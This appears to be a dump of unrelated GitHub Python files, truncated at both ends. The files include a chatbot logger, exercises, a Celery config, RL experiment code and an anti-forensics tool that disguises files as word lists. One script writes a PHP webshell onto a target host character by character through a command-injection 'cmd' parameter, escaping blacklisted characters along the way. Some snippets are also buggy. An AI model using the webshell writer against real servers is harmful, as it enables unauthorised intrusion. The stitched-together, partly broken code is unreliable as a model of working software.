pd.read_csv('chatbot_data.csv')\n except pd.errors.EmptyDataError:\n # If the CSV does not exist or is empty, create a new DataFrame\n df = pd.DataFrame(columns=['Question', 'Answer', 'Datetime', 'IP Address'])\n\n # Get the current time\n current_time = datetime.now().strftime('%Y-%m-%d %H:%M:%S')\n\n # Get the IP address\n ip_address = socket.gethostbyname(socket.gethostname())\n\n # Add the new data as a row to the DataFrame\n df = df.append({\n 'Question': question,\n 'Answer': response,\n 'Datetime': current_time,\n 'IP Address': ip_address\n }, ignore_index=True)\n return True\n\n# Write the DataFrame to a CSV\ndf.to_csv('chatbot_data.csv', index=False)\n\nif __name__ == \"__main__\":\n res = False\n res = append_user_questions()","repo_name":"data-science-nerds/ai-architects","sub_path":"chatbot_things/data_handling/collect_user_input/make_user_datapoints_df.py","file_name":"make_user_datapoints_df.py","file_ext":"py","file_size_in_byte":1128,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"12707257847","text":"#!/usr/bin/python3\n\"\"\"define class Square below\"\"\"\n\n\nclass Square:\n \"\"\"initialization of class square\"\"\"\n def __init__(self, size=0, position=(0, 0)):\n self.__size = size\n self.__position = position\n\n @property\n def size(self):\n \"\"\"getter of attribute size\"\"\"\n return(self._size)\n\n @size.setter\n def size(self, value):\n \"\"\"setterof attribute size\"\"\"\n if not type(size) is int:\n raise TypeError(\"size must be an integer\")\n if size < 0:\n raise ValueError(\"size must be >= 0\")\n else:\n self.__size = value\n\n @property\n def position(self):\n \"\"\"getter of attribute position\"\"\"\n return(self.__position)\n\n @position.setter\n def position(self, value):\n \"\"\"setter of attribute position\"\"\"\n if len(position) != 2:\n raise TypeError(\"position must be a tuple of 2 positive integers\")\n if i in position < 0:\n raise TypeError(\"position must be a tuple of 2 positive integers\")\n self.__position = value\n\n def area(self):\n \"\"\"method to find area of the square\"\"\"\n area = self.__size * self.__size\n return (area)\n\n def my_print(self):\n \"\"\"method of printing the square\"\"\"\n i = 0\n j = 0\n z = 0\n index = int(self.__position[0])\n if self.__size == 0:\n print(\"\\n\", end='')\n if self.__position[1] > 0:\n print(\"\\n\", end='')\n for i in range(self.__size):\n for z in range(self.__position[0]):\n print(\" \", end='')\n for j in range(self.__size):\n print(\"#\", end='')\n print(\"\")\n","repo_name":"mutugi001/alx-higher_level_programming","sub_path":"0x06-python-classes/6-square.py","file_name":"6-square.py","file_ext":"py","file_size_in_byte":1699,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"26674351347","text":"# -*- coding: utf-8 -*-\n\n__author__ = 'ogaidukov'\n\nfrom celery.schedules import crontab\n\nCELERY_TIMEZONE = 'Europe/Moscow'\n\nCELERYD_CONCURRENCY = 4\n\nBROKER_URL = 'redis://10.49.7.4:6379/7'\nCELERY_RESULT_BACKEND = 'redis://10.49.7.4:6379/7'\nCELERY_ACCEPT_CONTENT = ['pickle', 'json', 'msgpack', 'yaml']\nCELERY_REDIS_MAX_CONNECTIONS = 25\nCELERY_IMPORTS = (\"backend.tasks.servant\", \"backend.tasks.periodic\", \"backend.tasks.surfingbird\")\n\nCELERYBEAT_SCHEDULE = {\n 'store_events-every-2-minutes': {\n 'task': 'backend.tasks.periodic.store_events',\n 'schedule': crontab(minute='*/2')\n },\n 'recalculate_ctrs-every-5-minutes': {\n 'task': 'backend.tasks.periodic.recalculate_ctrs',\n 'schedule': crontab(minute='*/5')\n },\n 'update_per_campaign_sites_report-every-night': {\n 'task': 'backend.tasks.periodic.update_per_campaign_sites_report',\n 'schedule': crontab(minute=30, hour=0)\n },\n # 'check_campaign_period-every-midnight': {\n # 'task': 'backend.tasks.periodic.check_campaign_period',\n # 'schedule': crontab(minute=0, hour=0)\n # },\n # 'buy_surfingbird_clicks-every-5-minutes': {\n # 'task': 'backend.tasks.surfingbird.buy_surfingbird_clicks',\n # 'schedule': crontab(minute='*/5')\n # },\n # 'clear_surfingbird_campaigns-5-minutes-before-midnight': {\n # 'task': 'backend.tasks.surfingbird.clear_surfingbird_campaigns',\n # 'schedule': crontab(minute=57, hour=23)\n # }\n}\n","repo_name":"olegvg/me-advert","sub_path":"production/backend_celery_conf.py","file_name":"backend_celery_conf.py","file_ext":"py","file_size_in_byte":1478,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"3082970648","text":"import struct\nimport socket\n\ndef ip2int(addr: str) -> int:\n \"\"\"\n Convert an IP address from string format to integer format.\n \"\"\"\n return struct.unpack(\"!I\", socket.inet_aton(addr))[0]\n\ndef check_ip(ip: str, network_range: str) -> bool:\n \"\"\"\n Test if an IP address is in a given network range.\n \n The network range is expected to be in CIDR notation format. If no subnet\n mask is given, /32 is used. Returns True if the IP is in the range, False\n otherwise.\n \"\"\"\n network_addr, subnet_mask = network_range.split('/')\n subnet_mask = int(subnet_mask) if subnet_mask else 32\n try:\n network_addr_int = ip2int(network_addr)\n ip_int = ip2int(ip)\n subnet_mask_int = (0xFFFFFFFF << (32 - subnet_mask)) & 0xFFFFFFFF\n return (ip_int & subnet_mask_int) == (network_addr_int & subnet_mask_int)\n except (socket.error, struct.error):\n return False\n","repo_name":"infinitydaemon/canary","sub_path":"opencanary/iphelper.py","file_name":"iphelper.py","file_ext":"py","file_size_in_byte":914,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"72"} +{"seq_id":"38412053183","text":"#Windows下写马脚本,用以命令拆分~\n\nimport requests\nfrom loguru import logger\n\na='''\n\n _____ _ __ __ \n / ____| | | \\ \\ / / \n | | __ _ __ ___ __ _| |_ _____\\ \\ /\\ / /_ _ _ __ \n | | |_ | '__/ _ \\/ _` | __|______\\ \\/ \\/ / _` | '_ \\ \n | |__| | | | __/ (_| | |_ \\ /\\ / (_| | | | |\n \\_____|_| \\___|\\__,_|\\__| \\/ \\/ \\__,_|_| |_|\n \n \n'''\nprint(a)\nb='''\n欢迎使用万大侠的小工具~\n使用过程中遇到任何问题欢迎PR!\n\n详情请翻阅使用手册README.md\n\n\n'''\nprint(b)\n\n\n\n\n\n\n\nsession=requests.Session()\n#修改你想写马的内容\ncommand=f''\n#黑名单如果有遗漏自己添加哈\nblacklist=['<','>','>>','@','[',']',';',':','(',')','$','&','|','&&','||','+','-','~','*','/','?']\ndef run(chuan):\n url = \"http://192.168.85.142:80/\"\n headers = {\n \"Pragma\": \"no-cache\", \n \"Cache-Control\": \"no-cache\", \n \"Upgrade-Insecure-Requests\": \"1\", \n \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36\", \n \"Content-Type\": \"application/x-www-form-urlencoded\", \n \"Accept\": \"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\", \n \"Accept-Encoding\": \"gzip, deflate\",\n \"Accept-Language\": \"zh-CN,zh;q=0.9\", \n \"Connection\": \"close\"\n }\n data = {\"cmd\": chuan}\n try:\n res=session.post(url, headers=headers, data=data)\n print(res.text)\n except Exception as e:\n logger.exception(e)\n\ndef judge(c):\n if c in blacklist:\n run(f'set /p=^{c}>1.php')\n else:\n run(f'set /p={c}>1.php')\n\nfor i in range(0,len(command)):\n if i+1 != len(command) and command[i+1] == ' ':\n judge(command[i]+command[i+1])\n elif command[i] != ' ':\n judge(command[i])\n else:\n continue","repo_name":"ArnoDo/WebShell_Confuse_and_Command_Split","sub_path":"windows下set写马.py","file_name":"windows下set写马.py","file_ext":"py","file_size_in_byte":2028,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"29578095971","text":"import sqlalchemy as sa\nfrom functions import *\nimport pandas as pd\nfrom variables import *\nstart_time = time.time()\n\n#Тикер акции\nengine = sa.create_engine(\"postgresql+psycopg2://admin:admin@host.docker.internal:5430/final_project\")\n\nfor ticker in tickers:\n #Проверяем существование таблицы\n insp = sa.inspect(engine)\n if (insp.has_table('stocks')):\n #Ищем строки по тикеру в нашей бд\n ticker_search= pd.read_sql(f'''SELECT * FROM stocks WHERE \"ticker\" = '{ticker}' ''', engine)\n #Если строк больше 0, \n #вытаскиваем последний элемент из нашей бд, \n #ищем в загруженном слепке с API этот элемент\n #и загружаем все данные начиная со следующей строки в базу данных\n if (len(ticker_search.index)>0):\n last_line = ticker_search[\"datetime\"].iloc[-1]\n data = collect_data(ticker, apikey)\n entry_point = int(data[data[\"datetime\"]==str(last_line)].index[0])\n slicer = data.iloc[entry_point:-1]\n load_to_sql(slicer, engine)\n \n else:\n #Если строк по этому тикеру нет - загружаем все данные. \n load_to_sql(collect_data(ticker, apikey), engine)\n \n \n \n else:\n print(\"Таблицы не существует\")\n load_to_sql(collect_data(ticker, apikey), engine)\n \nprint(f\"--- Скрипт выполнился за {(time.time() - start_time)} секунд ---\" )\n","repo_name":"TechnoPr0/DE_Final_Project_2","sub_path":"airflow/dags/tasks/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1689,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"37821049610","text":"\"\"\"Commandline Only Version of Ishmael\"\"\"\nimport string as s\nimport math\nimport random\nfrom collections import OrderedDict\nimport base64\nimport argparse\n\n\n# A list of valid characters in base64\nbase_chars = list(s.ascii_letters + s.digits + \"+\" + \"/\" + \"=\")\n\n\n# Code below from following site\n# https://www.geeksforgeeks.org/break-list-chunks-size-n-python/\ndef divide_chunks(list_to_chunk, n):\n \"\"\"Yields successive n-sized chunks from list list_to_chunk\n\n :param list_to_chunk: (list) A list to be chunked\n :param n: (int) The number of elements to be put into each chunk\n :return: The chunks of equal size using a yield statement\n \"\"\"\n\n # Yield each chunk.\n for x in range(0, len(list_to_chunk), n):\n yield list_to_chunk[x:x + n]\n\n\ndef wordlistgen(file_path):\n \"\"\"Generates an encode and decode table out of a list of mixed words\n\n :param file_path: (str) filepath for the base wordlist to be used.\n :return: Two lists, one for encoding, one for decoding.\n \"\"\"\n\n # Create the master word list as a set to prevent duplicate words.\n word_list = list()\n\n # Open the wordlist and read it's contents into the variable 'text'\n with open(file_path, 'r', encoding='utf-8') as file:\n text = file.read()\n\n # Cast all upper case characters to lowercase\n text = text.lower()\n\n # Split up the line into it's component words\n raw_words = text.split()\n\n # Use the text itself as a key to randomly shuffle the word list.\n # This improves cryptographic security.\n random.seed(a=text, version=2)\n random.shuffle(raw_words)\n\n # Create a translate table to remove punctuation\n remove_punctuation = str.maketrans('', '',\n s.punctuation + \"”\" + \"“\" + \"—\")\n\n # Use a list comprehension. For each word, strip punctuation\n words = [w.translate(remove_punctuation) for w in raw_words]\n\n # Remove the blank entry that can sometimes be created for the wordlist\n try:\n word_list.remove('')\n except ValueError:\n pass\n\n # Briefly cast the word list as keys in an ordered dict to remove dupes\n words = list(OrderedDict.fromkeys(words))\n\n # Determine how many words should be in each chunk.\n words_per_chunk = math.floor(len(words) / len(base_chars))\n\n # Call divide_chunks to break the cipher_list into equally sized chunks\n chunked_wordlist = divide_chunks(list(words), words_per_chunk)\n chunked_wordlist = list(chunked_wordlist)\n\n # Create the encoding table as an empty dictionary\n encode_table = dict()\n\n # Create an iterator i to track progress through chunked_wordlist\n i = 0\n\n # Loop through all the characters in valid characters\n for char in base_chars:\n # Selected a chunk as the value for the character\n encode_table[char] = chunked_wordlist[i]\n\n # Add one to the iterator to get next chunk.\n i += 1\n\n # Create the decoding table as an empty dictionary\n decode_table = dict()\n\n # For each word in original dictionary, create a word -> character rel.\n for key in encode_table.keys():\n for word in encode_table[key]:\n decode_table[word] = key\n\n return encode_table, decode_table\n\n\ndef encrypt(encrypt_list, file_path, save_path):\n \"\"\"Function to encrypt a file using ish.\n\n :param encrypt_list: (dict) The wordlist translation table from wordlistgen\n :param file_path: The filepath for the file to be encrypted\n :param save_path: The filepath for the encrypted file to be saved to\n\n :return: Nothing, just saves encrypted file.\n \"\"\"\n\n # Open the file to be encrypted as bytecode.\n with open(file_path, 'rb') as file:\n file_raw = file.read()\n\n # Cast raw byte code to base64 encoded bytecode\n file_base = base64.b64encode(file_raw)\n\n # Cast base64 bytecode into base64 encoded strings\n base_string = file_base.decode(\"utf-8\")\n\n # Create a list to store the encoded message.\n ish_list = []\n\n # Reset the random seed so encrypted files are not predictable\n random.seed(a=None, version=2)\n\n # Loop through all the characters, include whitespaces\n for character in base_string:\n # For each character, add a random word from all words that are\n # associated with that character to the list.\n ish_list.append(random.choice(encrypt_list[character]))\n\n # Cast the encoded message back into a string.\n ish_string = ' '.join(ish_list)\n\n # Save the resulting file.\n with open(save_path, \"w\") as file:\n file.write(ish_string)\n\n\ndef decrypt(decrypt_list, file_path, save_path):\n \"\"\"Function to decrypt a file using ish.\n\n :param decrypt_list: (dict) the wordlist translation table from wordlistgen\n :param file_path: The filepath for the file to be decrypted\n :param save_path: The filepath for the decrypted file to be saved to.\n\n :return: Nothing, just saves decrypted file.\n \"\"\"\n\n # Open filepath to decrypt and save contents as ish_string.\n with open(file_path, \"r\") as file:\n ish_string = file.read()\n\n # Cast the list encoded by ish to a string\n ish_list = ish_string.split(\" \")\n\n # Cast the ish string to a base64 encoded list\n base_list = [decrypt_list[word] for word in ish_list]\n\n # Cast the base64 encoded list to a base64 encoded string\n base_string = \" \".join(base_list)\n\n # Cast the base64 encoded string to a base64 encoded bytecode\n decode_base = base_string.encode(\"utf-8\")\n\n # Cast base64 encoded bytecode to raw bytecode for writing\n new_file_base = base64.b64decode(decode_base)\n\n # Write new_file_base to file.\n with open(save_path, \"wb\") as file:\n file.write(new_file_base)\n\n\ndef main():\n \"\"\"Main function\n\n :return: Nothing, just runs the program.\n \"\"\"\n\n # Create the arg parser\n parser = argparse.ArgumentParser(description=\"Process arguments for ish \"\n \"modes.\")\n\n # Defining encryption argument for parser\n parser.add_argument(\"-e\", \"--encrypt\", type=str, nargs=3,\n metavar=('encrypt_path', 'file_path', 'save_path'),\n default=None,\n help=\"Encrypt file at file_path using wordlist at \"\n \"encrypt_path. Save results to save_path.\")\n\n # Defining decryption argument for parser\n parser.add_argument(\"-d\", \"--decrypt\", type=str, nargs=3,\n metavar=('decrypt_path', 'file_path', 'save_path'),\n default=None,\n help=\"Decrypt file at file_path using wordlist at \"\n \"decrypt_path. Save results to save_path.\")\n\n # Parse the arguments from standard input\n args = parser.parse_args()\n\n if args.encrypt:\n encryptlist, decryptlist = wordlistgen(args.encrypt[0])\n encrypt(encryptlist, args.encrypt[1], args.encrypt[2])\n elif args.decrypt:\n encryptlist, decryptlist = wordlistgen(args.decrypt[0])\n decrypt(decryptlist, args.decrypt[1], args.decrypt[2])\n\n\nif __name__ == \"__main__\":\n # Calling the main function\n main()\n","repo_name":"farrowking37/Capstone","sub_path":"topics/AntiForensics/Data Hiding/Ishmael Code Refactor/IshCMDOnly.py","file_name":"IshCMDOnly.py","file_ext":"py","file_size_in_byte":7316,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"72204980392","text":"#!/bin/python\n\"\"\"Advent of Code: Day 02.\"\"\"\n\nfrom lib import aoc\n\nSAMPLE = \"\"\"\\\nA Y\nB X\nC Z\n\"\"\"\nInputType = list[tuple[str, str]]\n\n\nLOSE, DRAW, WIN = list(\"XYZ\")\nPOINTS = {LOSE: 0, DRAW: 3, WIN: 6}\n\n\nclass Day02(aoc.Challenge):\n \"\"\"Day 2: Rock Paper Scissors. Score a tournament.\"\"\"\n\n TESTS = [\n aoc.TestCase(inputs=SAMPLE, part=1, want=15),\n aoc.TestCase(inputs=SAMPLE, part=2, want=12),\n ]\n INPUT_PARSER = aoc.parse_multi_str_per_line\n\n def part1(self, parsed_input: InputType) -> int:\n \"\"\"Score a tournament with the columns representing the choices.\"\"\"\n score = 0\n for elf_move, my_move in parsed_input:\n pos_a = \"ABC\".index(elf_move)\n pos_b = \"XYZ\".index(my_move)\n score += pos_b + 1\n if pos_a == pos_b:\n score += POINTS[DRAW]\n elif pos_b == (pos_a + 1) % 3:\n score += POINTS[WIN]\n return score\n\n def part2(self, parsed_input: InputType) -> int:\n return self.part2_readable(parsed_input)\n # return self.part2_reuse(parsed_input)\n # return self.part2_short(parsed_input)\n\n def part2_readable(self, parsed_input: InputType) -> int:\n \"\"\"Score a tournament with the second column representing the outcome.\"\"\"\n score = 0\n for elf_move, outcome in parsed_input:\n pos_a = \"ABC\".index(elf_move)\n pos_outcome = \"XYZ\".index(outcome)\n score += 3 * pos_outcome\n # The outcome determines if my move is the object before/after/same as the elf's.\n score += ((pos_a + pos_outcome + 2) % 3) + 1\n return score\n\n def part2_short(self, parsed_input: InputType) -> int:\n \"\"\"One liner.\"\"\"\n # Sum up the points based on the outcome.\n # Combine the elf's move and outcome to get choice scores [0..2].\n # Add one for each round to shift the choice scores from [0..2] to [1..3].\n return sum(\n \"XYZ\".index(outcome) * 3 + (\"ABC\".index(elf_move) + \"XYZ\".index(outcome) + 2) % 3\n for elf_move, outcome in parsed_input\n ) + len(parsed_input)\n\n def part2_reuse(self, parsed_input: InputType) -> int:\n \"\"\"Solve part2 by rewriting the input and reusing part1.\"\"\"\n moves = []\n for elf_move, outcome in parsed_input:\n pos_a = \"ABC\".index(elf_move)\n shift = {DRAW: 0, WIN: 1, LOSE: 2}[outcome]\n pos_b = (pos_a + shift) % 3\n my_move = \"XYZ\"[pos_b]\n moves.append((elf_move, my_move))\n return self.part1(moves)\n","repo_name":"IsaacG/Advent-of-Code","sub_path":"2022/02.py","file_name":"02.py","file_ext":"py","file_size_in_byte":2581,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"72"} +{"seq_id":"8333699825","text":"from collections import Counter\nimport pickle\nimport functools\nimport itertools as it\nimport os\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\nfrom mushroom_rl.environments.grid_world import GridWorld, AbstractGridWorld, GridWorldVanHasselt\nfrom mushroom_rl.core import Core\nfrom mushroom_rl.utils.callbacks import CollectDataset, CollectMaxQ, PlotDataset, CollectQ, CollectParameters\n\nfrom insect_rl.mdp.mrl import MyGridWorld, IAVICallback, TDCallback\nfrom insect_rl.mdp.utils import grid_math\n\nfrom mushroom_rl.core import Core, Logger\nimport mushroom_rl.utils.dataset as mrl_dataset# compute_J, parse_dataset, compute_metrics, episodes_length\nfrom icecream import ic\nfrom tqdm import tqdm\n\n\ndef centroid(data):\n x, y = zip(*data)\n l = len(x)\n return int(round(sum(x) / l)), int(round(sum(y) / l))\n\n\ndef environment(configs, sim_settings):\n #configs.pop(\"traps\")\n #configs.pop(\"trap_exits\")\n goals = configs.pop(\"goals\")\n # TODO WHYYY MUSHROOM_RL???\n width = configs[\"width\"]\n configs[\"width\"] = configs[\"height\"]\n configs[\"height\"] = width\n\n configs[\"goal\"] = [(g[1], g[0]) for g in goals]\n # TODO only one possible\n configs[\"goal\"] = centroid(goals)\n ic(configs)\n \n #configs[\"start\"] = configs[\"start\"]\n\n ic(sim_settings)\n\n #print(\"FYI I removed traps and trap exits\")\n\n return MyGridWorld(**(configs | sim_settings))\n\ndef run_td_experiment(mdp, agent, i_agent, iterations, res_dir):\n collect_dataset = CollectDataset()\n iavi_dataconverter = IAVICallback(mdp, agent, statement=\"fit\")\n tdcallback = TDCallback(mdp, agent)\n\n callbacks = [tdcallback]#collect_dataset, iavi_dataconverter]\n core = Core(agent, mdp)\n core.callbacks_fit = callbacks\n\n #len_batch = min(iterations, 10)\n\n #its = list(range(0, iterations, len_batch))\n tds = []#{s:[] for s in range(mdp._mdp_info.observation_space.n)}\n ss = []\n for i in tqdm(range(iterations)):\n tdcallback.clean()\n core.learn(n_episodes=1, n_steps_per_fit=1, quiet=True)\n ep_td, states = tdcallback.get()\n tds.append(ep_td)\n if i in [0,1,999]:\n ss.append(states)\n #fds.append()\n return tds, ss\n\n\ndef run_experiment(mdp, agent, i_agent, iterations, res_dir):\n collect_dataset = CollectDataset()\n iavi_dataconverter = IAVICallback(mdp, agent, statement=\"fit\")\n tdcallback = TDCallback(mdp, agent)\n\n callbacks = [collect_dataset, iavi_dataconverter]\n core = Core(agent, mdp)\n core.callbacks_fit = callbacks\n\n len_batch = min(iterations, 10)\n\n its = list(range(0, iterations, len_batch))\n data = []\n Js = []\n episode_lens = []\n\n tds = np.zeros(iavi_dataconverter.cum_td.shape)\n tds_ns = np.zeros(iavi_dataconverter.cum_td.shape)\n for i in range(len(its)):\n print(f\"batch {i}, {len(data)}\")\n core.learn(n_episodes=len_batch, n_steps_per_fit=1, render=False, quiet=False)\n training_dataset = collect_dataset.get()\n data.extend(training_dataset)\n collect_dataset.clean()\n Js.append(compute_metrics(training_dataset, mdp.info.gamma))\n episode_lens.extend(mrl_dataset.episodes_length(training_dataset))\n\n for i in range(iavi_dataconverter.cum_td.shape[0]):\n # TODO maybe not sum but average?\n tds[i] += iavi_dataconverter.cum_td[np.array([i])]\n tds_ns[i] += iavi_dataconverter.cum_td_ns[np.array([i])]\n\n Js = list(it.chain.from_iterable(Js))\n plt.clf()\n plt.plot(list(range(len(Js))), Js, label='J')\n plt.title(\"Cumulative discounted reward\")\n plt.legend(loc='best')\n plt.savefig(f\"{res_dir}/J_{i_agent}.svg\")\n with open(f\"{res_dir}/J_{i_agent}.pickle\", 'wb') as o:\n pickle.dump(Js, o)\n \n plt.plot(list(range(len(episode_lens))), episode_lens, label='episode length')\n plt.title(\"Episode lengths\")\n plt.legend(loc='best')\n plt.savefig(f\"{res_dir}/episode_lens_{i_agent}.svg\")\n with open(f\"{res_dir}/episode_lens_{i_agent}.pickle\", 'wb') as o:\n pickle.dump(episode_lens, o)\n\n shape = iavi_dataconverter.V.shape\n v = np.zeros(shape)\n for i in range(shape[0]):\n v[i] = iavi_dataconverter.V[np.array([i])]\n\n np.save(f\"{res_dir}/value_fun_{i_agent}.npy\", np.rot90(v.reshape(mdp._height, mdp._width)))\n np.save(f\"{res_dir}/tds_{i_agent}.npy\", np.rot90(tds.reshape(mdp._height, mdp._width)))\n np.save(f\"{res_dir}/tds_ns_{i_agent}.npy\", np.rot90(tds_ns.reshape(mdp._height, mdp._width)))\n\n shape = agent.Q.shape\n q = np.zeros(shape)\n for i in range(shape[0]):\n for j in range(shape[1]):\n state = np.array([i])\n action = np.array([j])\n q[i, j] = agent.Q.predict(state, action)\n np.save(f\"{res_dir}/q_{i_agent}.npy\", q)\n\n with open(f\"{res_dir}/data_{i_agent}.pickle\", 'wb') as o:\n pickle.dump(data, o)\n df = convert_trajectories(data, mdp)\n df.to_csv(f\"{res_dir}/df_{i_agent}.csv\")\n agent.save(f\"{res_dir}/agent_{i_agent}\", full_save=True)\n\n\ndef _experiment(algorithm_class, mdp, ant, iterations, res_dir):\n print(f\"ANT {ant}\")\n res_dir += f\"/a{ant}\"\n os.mkdir(res_dir)\n agent = algorithm_class(mdp.info)\n # Algorithm\n collect_dataset = CollectDataset()\n iavi_dataconverter = IAVICallback(mdp, agent, statement=\"fit\")\n\n callbacks = [collect_dataset, iavi_dataconverter] #collect_q\n core = Core(agent, mdp)\n\n len_batch = 10\n\n its = list(range(0, iterations, len_batch))\n core.callbacks_fit = callbacks\n data = []\n Js = []\n episode_lens = []\n\n tds = np.zeros(iavi_dataconverter.cum_td.shape)\n tds_ns = np.zeros(iavi_dataconverter.cum_td.shape)\n for i in range(len(its)):\n print(f\"batch {i}, {len(data)}\")\n core.learn(n_episodes=len_batch, n_steps_per_fit=1, quiet=False)\n training_dataset = collect_dataset.get()\n data.extend(training_dataset)\n collect_dataset.clean()\n Js.append(compute_metrics(training_dataset, mdp.info.gamma))\n episode_lens.extend(mrl_dataset.episodes_length(training_dataset))\n\n for i in range(iavi_dataconverter.cum_td.shape[0]):\n # TODO maybe not sum but average?\n tds[i] += iavi_dataconverter.cum_td[np.array([i])]\n tds_ns[i] += iavi_dataconverter.cum_td_ns[np.array([i])]\n\n Js = list(it.chain.from_iterable(Js))\n plt.clf()\n plt.plot(list(range(len(Js))), Js, label='J')\n plt.title(\"Cumulative discounted reward\")\n plt.legend(loc='best')\n plt.savefig(f\"{res_dir}/J_{ant}.svg\")\n with open(f\"{res_dir}/J_{ant}.pickle\", 'wb') as o:\n pickle.dump(Js, o)\n \n plt.clf()\n plt.plot(list(range(len(episode_lens))), episode_lens, label='J')\n plt.title(\"Episode lengths\")\n plt.legend(loc='best')\n plt.savefig(f\"{res_dir}/episode_lens_{ant}.svg\")\n with open(f\"{res_dir}/episode_lens_{ant}.pickle\", 'wb') as o:\n pickle.dump(episode_lens, o)\n\n shape = iavi_dataconverter.V.shape\n v = np.zeros(shape)\n for i in range(shape[0]):\n v[i] = iavi_dataconverter.V[np.array([i])]\n \n plt.clf()\n plt.imshow(np.rot90(v.reshape(mdp._height, mdp._width)))\n plt.title(\"Value function\")\n plt.savefig(f\"{res_dir}/value_fun_{ant}.svg\")\n np.save(f\"{res_dir}/value_fun_{ant}.npy\", np.rot90(v.reshape(mdp._height, mdp._width)))\n \n plt.clf()\n plt.imshow(np.rot90(tds.reshape(mdp._height, mdp._width)))\n plt.title(\"Cumulative TD Error\")\n plt.savefig(f\"{res_dir}/tds_{ant}.svg\")\n np.save(f\"{res_dir}/tds_{ant}.npy\", np.rot90(tds.reshape(mdp._height, mdp._width)))\n \n plt.clf()\n plt.imshow(np.rot90(tds_ns.reshape(mdp._height, mdp._width)))\n plt.title(\"Cumulative TD Error for the next state\")\n plt.savefig(f\"{res_dir}/tds_ns_{ant}.svg\")\n np.save(f\"{res_dir}/tds_ns_{ant}.npy\", np.rot90(tds_ns.reshape(mdp._height, mdp._width)))\n plt.clf()\n\n shape = agent.Q.shape\n q = np.zeros(shape)\n for i in range(shape[0]):\n for j in range(shape[1]):\n state = np.array([i])\n action = np.array([j])\n q[i, j] = agent.Q.predict(state, action)\n np.save(f\"{res_dir}/q_{ant}.npy\", q)\n\n with open(f\"{res_dir}/data_{ant}.pickle\", 'wb') as o:\n pickle.dump(data, o)\n df = convert_trajectories(data, mdp)\n df.to_csv(f\"{res_dir}/df_{ant}.csv\")\n agent.save(f\"{res_dir}/agent_{ant}\", full_save=True)\n return\n\n\ndef convert_trajectories(data, mdp):\n episodes_lens = mrl_dataset.episodes_length(data)\n episodes = np.split(data, np.cumsum(episodes_lens)[:-1])\n dfs = []\n for i, episode in enumerate(episodes):\n state, action, reward, next_state, _, _ = mrl_dataset.parse_dataset(episode)\n\n to_grid = functools.partial(mdp.convert_to_grid, width=mdp._width)\n state = state.T[0]\n next_state = next_state.T[0]\n action = action.T[0]\n\n df = pd.DataFrame({\"trial_nb\":i, \"state\":state, \"action\":action, \"reward\":reward, \"next_state\":next_state})\n state_grid = df.state.apply(lambda s: to_grid([s])).tolist()\n df[['path_x', 'path_y']] = pd.DataFrame(state_grid, index=df.index)\n\n next_state_grid = df.next_state.apply(lambda s: to_grid([s])).tolist()\n df[['path_x_next', 'path_y_next']] = pd.DataFrame(next_state_grid, index=df.index)\n\n # conert everything but the rewards and J to int\n discrete = [\"state\", \"next_state\", \"path_x\", \"path_y\", \"path_x_next\", \"path_y_next\", \"action\"]\n df = df.astype({col: 'int32' for col in discrete})\n dfs.append(df)\n return pd.concat(dfs)\n\n\ndef compute_metrics(data, gamma):\n episode_lens = mrl_dataset.episodes_length(data)\n episodes = np.split(data, np.cumsum(episode_lens)[:-1])\n Js = list(it.chain.from_iterable([mrl_dataset.compute_J(e, gamma) for e in episodes]))\n\n return Js\n\n\ndef experiment(algorithm_class, env_settings, n_ants, iterations, sim_settings):\n print(\"doing exp\")\n np.random.seed()\n\n results_dir = f\"RESULTS/RESULTSTRAP/r{sim_settings['reward']}tc{sim_settings['trap_cost']}aINTERg{sim_settings['gamma']}\"\n\n try:\n # Create target Directory\n os.mkdir(results_dir)\n print(\"Directory \" , results_dir , \" Created \") \n except FileExistsError:\n print(\"Directory \" , results_dir , \" already exists\")\n \n mdp = environment(env_settings, sim_settings)\n\n for ant in tqdm(range(1,n_ants)):\n _experiment(algorithm_class, mdp, ant, iterations, results_dir)\n\n\nif __name__==\"__main__\":\n with open(\"temp/agent.pickle\", 'rb') as agent_i:\n agent = pickle.load(agent_i)\n with open(\"Wystrach2020/env.pickle\", 'rb') as env_i:\n env = pickle.load(env_i)\n\n\n n_ants = 18#snakemake.config[\"ants\"]\n iterations = 1000#snakemake.config[\"iterations\"]\n\n sim_settings = {\n 'reward':100,#eval(snakemake.wildcards[\"reward\"]),\n 'trap_cost':-100,#eval(snakemake.wildcards[\"trapcost\"]),\n 'actions':vars(grid_math)[\"INTERCARDINALS\"],\n 'gamma':.99#snakemake.config['simulation_settings']['discount_factor']\n }\n \n experiment(agent, env, n_ants, iterations, sim_settings)\n","repo_name":"PaulinaFriemann/RL-InsectNavigation","sub_path":"v2/forward/workflow/scripts/exp_funs.py","file_name":"exp_funs.py","file_ext":"py","file_size_in_byte":11102,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"13603883358","text":"import math\n\n\ndef main(k, cards):\n res = 0\n collector = dict()\n for x in cards:\n if x not in collector:\n collector[x] = 0\n collector[x] += 1\n collector_keys = sorted(collector.keys())\n right_index = 0\n dublicate = 0\n for left_index, el in enumerate(collector_keys):\n while right_index < len(collector_keys) and collector_keys[right_index] <= k * el:\n if collector[collector_keys[right_index]] > 1:\n dublicate += 1\n right_index += 1\n #Все разные, но точно взяли el\n delta = right_index - left_index - 1\n res += 3 * delta * (delta-1)\n if collector[el] > 1:\n #тогда можно взять 2 элемента el\n res += 3 * delta\n if collector[el] > 2:\n # тогда можно взять 3 